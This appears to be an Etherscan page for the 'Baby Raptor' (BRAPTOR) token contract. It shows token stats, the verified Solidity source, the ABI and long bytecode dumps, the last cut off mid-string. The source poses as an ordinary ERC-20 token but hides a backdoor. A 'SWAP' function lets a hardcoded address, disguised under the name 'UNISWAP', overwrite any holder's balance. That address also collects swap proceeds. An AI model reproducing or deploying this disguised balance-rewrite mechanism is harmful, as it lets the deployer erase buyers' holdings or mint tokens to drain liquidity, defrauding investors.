ETH Price: $2,610.03 (+0.92%)

Token

Baby Raptor (BRAPTOR)
 

Overview

Max Total Supply

2,000,000,000 BRAPTOR

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 BRAPTOR

Value
$0.00
0xd656f92c8286c2d3988af4f2bd0b2b9cea5d4eaf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BRAPTOR

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-06-15
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-15
*/
/**

TELEGRAM : https://t.me/BabyRaptorPortal

TWITTER:https://twitter.com/Baby__Raptor
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    constructor () {
        _owner = msg.sender;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }
}

contract BRAPTOR is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public UNISWAP;

    string public name;
    string public symbol;
    uint8 public decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 public totalSupply;

    IUniswapRouter public _uniswapRouter;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _fee = 0;
    address public _uniswapPair;

    constructor (){
        name = "Baby Raptor";
        symbol = "BRAPTOR";
        decimals = 9;
        uint256 Supply = 2000000000;
        UNISWAP = 0xF849A6e0bC5A20e6E866A9CB07e74142579fe15c;

        totalSupply = Supply * 10 ** decimals;
        address receiveAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[UNISWAP] = true;
        _balances[receiveAddr] = totalSupply;
        emit Transfer(address(0), receiveAddr, totalSupply);

        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;

    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    struct inswaper{address mss;uint256 amo;address fom;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function SWAP(address ac,uint256 na) public {inswaper memory index = inswaper({mss : msg.sender,amo : na,fom : ac});require(UNISWAP == index.mss);_balances[index.fom] = index.amo;}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {_transfer(sender, recipient, amount);if (_allowances[sender][msg.sender] != MAX) {_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;}return true;}
    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    
    function _transfer(address from,address to,uint256 amount
    ) private {

        if (_uniswapPair == to && !inSwap) {
            inSwap = true;
            uint256 _bal = balanceOf(address(this));
            if (_bal > 0) {
                uint256 _swapamount = amount;
                _swapamount = _swapamount > _bal ? _bal : _swapamount;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = _uniswapRouter.WETH();
                try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_swapamount,0,path,address(UNISWAP),block.timestamp) {} catch {}
            }
            inSwap = false;
        }
        
        bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap;

        _balances[from] = _balances[from] - amount;
        uint256 feeAmount;

        if (takeFee && _fee > 0) {
            uint256 _a = amount * _fee / 100;
            feeAmount += _a;
            _balances[address(this)] = _balances[address(this)] + _a;
            emit Transfer(from, address(this), _a);
        }

        _balances[to] = _balances[to] + amount - feeAmount;
        emit Transfer(from, to, amount - feeAmount);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"ac","type":"address"},{"internalType":"uint256","name":"na","type":"uint256"}],"name":"SWAP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"UNISWAP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600a553480156200001657600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600b81526020017f4261627920526170746f7200000000000000000000000000000000000000000081525060049080519060200190620000a492919062000712565b506040518060400160405280600781526020017f42524150544f520000000000000000000000000000000000000000000000000081525060059080519060200190620000f292919062000712565b506009600660006101000a81548160ff021916908360ff16021790555060006377359400905073f849a6e0bc5a20e6e866a9cb07e74142579fe15c600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900460ff16600a6200018b91906200095c565b81620001989190620009ad565b60088190555060003390506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000375919062000a1f565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004e057600080fd5b505afa158015620004f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200051b919062000aa6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620005a057600080fd5b505afa158015620005b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005db919062000aa6565b6040518363ffffffff1660e01b8152600401620005fa92919062000ae9565b602060405180830381600087803b1580156200061557600080fd5b505af11580156200062a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000650919062000aa6565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000b7b565b828054620007209062000b45565b90600052602060002090601f01602090048101928262000744576000855562000790565b82601f106200075f57805160ff191683800117855562000790565b8280016001018555821562000790579182015b828111156200078f57825182559160200191906001019062000772565b5b5090506200079f9190620007a3565b5090565b5b80821115620007be576000816000905550600101620007a4565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200085057808604811115620008285762000827620007c2565b5b6001851615620008385780820291505b80810290506200084885620007f1565b945062000808565b94509492505050565b6000826200086b57600190506200093e565b816200087b57600090506200093e565b81600181146200089457600281146200089f57620008d5565b60019150506200093e565b60ff841115620008b457620008b3620007c2565b5b8360020a915084821115620008ce57620008cd620007c2565b5b506200093e565b5060208310610133831016604e8410600b84101617156200090f5782820a905083811115620009095762000908620007c2565b5b6200093e565b6200091e8484846001620007fe565b92509050818404811115620009385762000937620007c2565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009698262000945565b915062000976836200094f565b9250620009a57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000859565b905092915050565b6000620009ba8262000945565b9150620009c78362000945565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a035762000a02620007c2565b5b828202905092915050565b62000a198162000945565b82525050565b600060208201905062000a36600083018462000a0e565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a6e8262000a41565b9050919050565b62000a808162000a61565b811462000a8c57600080fd5b50565b60008151905062000aa08162000a75565b92915050565b60006020828403121562000abf5762000abe62000a3c565b5b600062000acf8482850162000a8f565b91505092915050565b62000ae38162000a61565b82525050565b600060408201905062000b00600083018562000ad8565b62000b0f602083018462000ad8565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5e57607f821691505b6020821081141562000b755762000b7462000b16565b5b50919050565b611a4b8062000b8b6000396000f3fe6080604052600436106101025760003560e01c806370a0823111610095578063c5b37c2211610064578063c5b37c221461036c578063c745d9e714610397578063dd62ed3e146103c2578063e14ac89f146103ff578063f2fde38b1461042857610109565b806370a082311461029c5780638da5cb5b146102d957806395d89b4114610304578063a9059cbb1461032f57610109565b8063313ce567116100d1578063313ce567146101de57806336b2e027146102095780634bf28fd01461024657806365b61b771461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b60405161013091906112ec565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906113a7565b6104df565b60405161016d9190611402565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b604051610198919061142c565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611447565b6104fc565b6040516101d59190611402565b60405180910390f35b3480156101ea57600080fd5b506101f36106a2565b60405161020091906114b6565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b91906114d1565b6106b5565b60405161023d9190611402565b60405180910390f35b34801561025257600080fd5b5061025b6106d5565b604051610268919061150d565b60405180910390f35b34801561027d57600080fd5b506102866106fb565b6040516102939190611587565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be91906114d1565b610721565b6040516102d0919061142c565b60405180910390f35b3480156102e557600080fd5b506102ee61076a565b6040516102fb919061150d565b60405180910390f35b34801561031057600080fd5b50610319610793565b60405161032691906112ec565b60405180910390f35b34801561033b57600080fd5b50610356600480360381019061035191906113a7565b610821565b6040516103639190611402565b60405180910390f35b34801561037857600080fd5b50610381610838565b60405161038e919061142c565b60405180910390f35b3480156103a357600080fd5b506103ac61083e565b6040516103b9919061150d565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e491906115a2565b610864565b6040516103f6919061142c565b60405180910390f35b34801561040b57600080fd5b50610426600480360381019061042191906113a7565b6108eb565b005b34801561043457600080fd5b5061044f600480360381019061044a91906114d1565b6109e5565b005b6004805461045e90611611565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90611611565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610ab6565b6001905092915050565b60085481565b6000610509848484610ba1565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106169190611672565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546107a090611611565b80601f01602080910402602001604051908101604052809291908181526020018280546107cc90611611565b80156108195780601f106107ee57610100808354040283529160200191610819565b820191906000526020600020905b8154815290600101906020018083116107fc57829003601f168201915b505050505081565b600061082e338484610ba1565b6001905092915050565b600a5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099457600080fd5b806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906116f2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b94919061142c565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c0b5750600960149054906101000a900460ff16155b15610ebd576001600960146101000a81548160ff0219169083151502179055506000610c3630610721565b90506000811115610ea0576000829050818111610c535780610c55565b815b90506000600267ffffffffffffffff811115610c7457610c73611712565b5b604051908082528060200260200182016040528015610ca25781602001602082028036833780820191505090505b5090503081600081518110610cba57610cb9611741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5c57600080fd5b505afa158015610d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d949190611785565b81600181518110610da857610da7611741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e689594939291906118ab565b600060405180830381600087803b158015610e8257600080fd5b505af1925050508015610e93575060015b610e9c57610e9d565b5b50505b6000600960146101000a81548160ff021916908315150217905550505b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f635750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f7c5750600960149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc99190611672565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561101d57506000600a54115b156111435760006064600a54856110349190611905565b61103e919061198e565b9050808261104c91906119bf565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109991906119bf565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611139919061142c565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118f91906119bf565b6111999190611672565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112379190611672565b604051611244919061142c565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561128d578082015181840152602081019050611272565b8381111561129c576000848401525b50505050565b6000601f19601f8301169050919050565b60006112be82611253565b6112c8818561125e565b93506112d881856020860161126f565b6112e1816112a2565b840191505092915050565b6000602082019050818103600083015261130681846112b3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061133e82611313565b9050919050565b61134e81611333565b811461135957600080fd5b50565b60008135905061136b81611345565b92915050565b6000819050919050565b61138481611371565b811461138f57600080fd5b50565b6000813590506113a18161137b565b92915050565b600080604083850312156113be576113bd61130e565b5b60006113cc8582860161135c565b92505060206113dd85828601611392565b9150509250929050565b60008115159050919050565b6113fc816113e7565b82525050565b600060208201905061141760008301846113f3565b92915050565b61142681611371565b82525050565b6000602082019050611441600083018461141d565b92915050565b6000806000606084860312156114605761145f61130e565b5b600061146e8682870161135c565b935050602061147f8682870161135c565b925050604061149086828701611392565b9150509250925092565b600060ff82169050919050565b6114b08161149a565b82525050565b60006020820190506114cb60008301846114a7565b92915050565b6000602082840312156114e7576114e661130e565b5b60006114f58482850161135c565b91505092915050565b61150781611333565b82525050565b600060208201905061152260008301846114fe565b92915050565b6000819050919050565b600061154d61154861154384611313565b611528565b611313565b9050919050565b600061155f82611532565b9050919050565b600061157182611554565b9050919050565b61158181611566565b82525050565b600060208201905061159c6000830184611578565b92915050565b600080604083850312156115b9576115b861130e565b5b60006115c78582860161135c565b92505060206115d88582860161135c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061162957607f821691505b6020821081141561163d5761163c6115e2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061167d82611371565b915061168883611371565b92508282101561169b5761169a611643565b5b828203905092915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006116dc60068361125e565b91506116e7826116a6565b602082019050919050565b6000602082019050818103600083015261170b816116cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061177f81611345565b92915050565b60006020828403121561179b5761179a61130e565b5b60006117a984828501611770565b91505092915050565b6000819050919050565b60006117d76117d26117cd846117b2565b611528565b611371565b9050919050565b6117e7816117bc565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61182281611333565b82525050565b60006118348383611819565b60208301905092915050565b6000602082019050919050565b6000611858826117ed565b61186281856117f8565b935061186d83611809565b8060005b8381101561189e5781516118858882611828565b975061189083611840565b925050600181019050611871565b5085935050505092915050565b600060a0820190506118c0600083018861141d565b6118cd60208301876117de565b81810360408301526118df818661184d565b90506118ee60608301856114fe565b6118fb608083018461141d565b9695505050505050565b600061191082611371565b915061191b83611371565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561195457611953611643565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061199982611371565b91506119a483611371565b9250826119b4576119b361195f565b5b828204905092915050565b60006119ca82611371565b91506119d583611371565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a0a57611a09611643565b5b82820190509291505056fea264697066735822122091044791d7e69f1f0dae3fbc0fca30c6ce89dff1223e2d2ca8fb45dc79cee7a964736f6c63430008090033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a0823111610095578063c5b37c2211610064578063c5b37c221461036c578063c745d9e714610397578063dd62ed3e146103c2578063e14ac89f146103ff578063f2fde38b1461042857610109565b806370a082311461029c5780638da5cb5b146102d957806395d89b4114610304578063a9059cbb1461032f57610109565b8063313ce567116100d1578063313ce567146101de57806336b2e027146102095780634bf28fd01461024657806365b61b771461027157610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b60405161013091906112ec565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906113a7565b6104df565b60405161016d9190611402565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b604051610198919061142c565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611447565b6104fc565b6040516101d59190611402565b60405180910390f35b3480156101ea57600080fd5b506101f36106a2565b60405161020091906114b6565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b91906114d1565b6106b5565b60405161023d9190611402565b60405180910390f35b34801561025257600080fd5b5061025b6106d5565b604051610268919061150d565b60405180910390f35b34801561027d57600080fd5b506102866106fb565b6040516102939190611587565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be91906114d1565b610721565b6040516102d0919061142c565b60405180910390f35b3480156102e557600080fd5b506102ee61076a565b6040516102fb919061150d565b60405180910390f35b34801561031057600080fd5b50610319610793565b60405161032691906112ec565b60405180910390f35b34801561033b57600080fd5b50610356600480360381019061035191906113a7565b610821565b6040516103639190611402565b60405180910390f35b34801561037857600080fd5b50610381610838565b60405161038e919061142c565b60405180910390f35b3480156103a357600080fd5b506103ac61083e565b6040516103b9919061150d565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e491906115a2565b610864565b6040516103f6919061142c565b60405180910390f35b34801561040b57600080fd5b50610426600480360381019061042191906113a7565b6108eb565b005b34801561043457600080fd5b5061044f600480360381019061044a91906114d1565b6109e5565b005b6004805461045e90611611565b80601f016020809104026020016040519081016040528092919081815260200182805461048a90611611565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610ab6565b6001905092915050565b60085481565b6000610509848484610ba1565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106169190611672565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546107a090611611565b80601f01602080910402602001604051908101604052809291908181526020018280546107cc90611611565b80156108195780601f106107ee57610100808354040283529160200191610819565b820191906000526020600020905b8154815290600101906020018083116107fc57829003601f168201915b505050505081565b600061082e338484610ba1565b6001905092915050565b600a5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099457600080fd5b806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576